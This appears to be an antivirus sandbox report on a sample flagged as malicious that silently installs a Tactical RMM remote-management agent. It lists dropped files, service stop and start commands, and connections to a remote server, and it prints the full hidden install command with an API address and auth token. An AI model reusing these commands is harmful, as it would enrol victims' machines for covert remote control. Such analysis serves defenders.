Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\net.exe' stop tacticalrmm
- '%WINDIR%\syswow64\taskkill.exe' /F /IM tacticalrmm.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\tacticalrmm\tacticalagent-v2.9.1-windows-amd64.exe
- %TEMP%\is-14eei.tmp\tacticalagent-v2.9.1-windows-amd64.tmp
- %TEMP%\setup log 2025-10-16 #001.txt
- %TEMP%\is-q8ksd.tmp\_isetup\_setup64.tmp
- %ProgramFiles%\tacticalagent\is-blsq5.tmp
- %ProgramFiles%\tacticalagent\is-9n288.tmp
- %ProgramFiles%\tacticalagent\unins000.dat
Deletes following files that it created itself
- %TEMP%\is-q8ksd.tmp\_isetup\_setup64.tmp
- %TEMP%\is-14eei.tmp\tacticalagent-v2.9.1-windows-amd64.tmp
Moves the following files
- from %ProgramFiles%\tacticalagent\is-blsq5.tmp to %ProgramFiles%\tacticalagent\unins000.exe
- from %ProgramFiles%\tacticalagent\is-9n288.tmp to %ProgramFiles%\tacticalagent\tacticalrmm.exe
Network activity
Connects to
- 'ag####.tacticalrmm.com':443
- 'ap#.##rridorts.com':443
TCP
Other
- 'ag####.tacticalrmm.com':443
- 'ap#.##rridorts.com':443
UDP
- DNS ASK ag####.tacticalrmm.com
- DNS ASK ap#.##rridorts.com
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%ALLUSERSPROFILE%\tacticalrmm\tacticalagent-v2.9.1-windows-amd64.exe' /VERYSILENT /SUPPRESSMSGBOXES
- '%TEMP%\is-14eei.tmp\tacticalagent-v2.9.1-windows-amd64.tmp' /SL5="$C02B6,3701177,861184,%ALLUSERSPROFILE%\TacticalRMM\tacticalagent-v2.9.1-windows-amd64.exe" /VERYSILENT /SUPPRESSMSGBOXES
- '%ProgramFiles%\tacticalagent\tacticalrmm.exe' -m installsvc
- '%ProgramFiles%\tacticalagent\tacticalrmm.exe' -m install --api https://api.corridorts.com --client-id 1 --site-id 12 --agent-type workstation --auth ffff4485664b087c882d417a070ab555c13bd1a04cba6fc520c1d28f37976251
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 -n 2 && net stop tacticalrmm
- '%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 2
- '%WINDIR%\syswow64\net1.exe' stop tacticalrmm
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe
- '%WINDIR%\syswow64\cmd.exe' /c tacticalrmm.exe -m installsvc
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrmm
- '%WINDIR%\syswow64\net.exe' start tacticalrmm
- '%WINDIR%\syswow64\net1.exe' start tacticalrmm
- '%WINDIR%\syswow64\cmd.exe' /c ping 127.0.0.1 -n 2 && net stop tacticalrmm' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c tacticalrmm.exe -m installsvc' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrmm' (with hidden window)
